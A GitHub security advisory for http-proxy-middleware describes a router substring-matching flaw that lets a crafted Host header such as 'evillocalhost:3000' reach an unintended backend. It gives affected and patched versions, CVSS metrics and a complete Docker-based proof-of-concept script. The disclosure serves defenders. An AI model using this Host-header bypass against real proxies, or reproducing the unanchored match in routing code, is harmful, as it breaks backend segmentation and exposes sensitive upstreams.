Skip to content

http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass

Moderate severity GitHub Reviewed Published Jun 17, 2026 in chimurai/http-proxy-middleware • Updated Jun 23, 2026

Package

npm http-proxy-middleware (npm)

Affected versions

>= 4.0.0, < 4.1.0
>= 3.0.0, < 3.0.6
>= 0.16.0, < 2.0.10

Patched versions

4.1.0
3.0.6
2.0.10

Description

Summary

http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

Details

Tested code state:

  • validated on tag v4.0.0-beta.5
  • corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358

Relevant code locations:

  • src/router.ts
  • src/http-proxy-middleware.ts

Affected public API:

  • createProxyMiddleware({ router: { 'host/path': 'http://target' } })

Code explanation:

When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:

hostAndPath.indexOf(key) > -1

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

localhost:3000/api

but the attacker-controlled host is:

evillocalhost:3000

and the request path is:

/api

The concatenated attacker-controlled string:

evillocalhost:3000/api

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

  1. the application enables the documented proxy-table router feature with at least one host+path rule
  2. an external attacker sends an ordinary HTTP request with a crafted Host header
  3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying
  4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching
  5. the request is proxied to the wrong backend

PoC

Create these files in the same working directory and run:

bash ./run.sh

File: run.sh

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs

File: Dockerfile

FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction

File: verify.mjs

import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}

This PoC starts:

  • one default backend returning DEFAULT
  • one alternate backend returning SECRET
  • one proxy using:
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

It then sends:

  1. a baseline request to /api with Host: safe.example:3000
  2. a crafted request to /api with Host: evillocalhost:3000

Observed result from the validated PoC:

  • baseline request: STEP baseline-route body=DEFAULT
  • crafted request: STEP crafted-route body=SECRET
  • success marker: RESULT reproduced host_header_injection router substring match bypass

The PoC is considered successful only if:

  1. the baseline request stays on the default backend
  2. the crafted request reaches the alternate backend
  3. the crafted host is not equal to the configured router host

Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.

References

@chimurai chimurai published to chimurai/http-proxy-middleware Jun 17, 2026
Published to the GitHub Advisory Database Jun 18, 2026
Reviewed Jun 18, 2026
Last updated Jun 23, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(30th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Partial String Comparison

The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses. Learn more on MITRE.

CVE ID

CVE-2026-55602

GHSA ID

GHSA-64mm-vxmg-q3vj

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.